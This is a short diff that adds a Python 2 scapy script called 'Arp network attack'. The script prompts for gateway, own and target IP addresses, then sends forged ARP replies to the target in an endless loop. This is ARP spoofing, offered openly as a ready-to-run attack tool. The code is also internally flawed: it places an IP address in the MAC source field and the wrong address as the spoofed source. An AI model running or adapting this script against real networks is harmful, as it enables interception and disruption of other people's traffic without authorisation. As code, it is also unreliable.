Arp network attack

Author: jiushill

arp.py

@@ -0,0 +1,36 @@
+import os
+import sys
+from scapy.layers.l2 import getmacbyip
+from scapy.all import (
+  Ether,
+  ARP,
+  sendp
+)
+
+ifconfig=os.system('ifconfig')
+print ifconfig
+gmac=raw_input('Please enter gateway IP:')
+liusheng=raw_input('Please enter your IP:')
+liusrc=raw_input('Please enter target IP:')
+try:
+  tg=getmacbyip(liusrc)
+  print tg
+except Exception , f:
+    print '[-]{}'.format(f)
+    exit()
+def arpspoof():
+  try:
+    eth=Ether()
+    arp=ARP(
+        op="is-at",
+        hwsrc=gmac,
+        psrc=liusheng,
+        hwdst=tg,
+        pdst=liusrc
+    )
+    print ((eth/arp).show())
+    sendp(eth/arp,inter=2,loop=1)
+  except Exception ,g:
+      print '[-]{}'.format(g)
+      exit()
+arpspoof()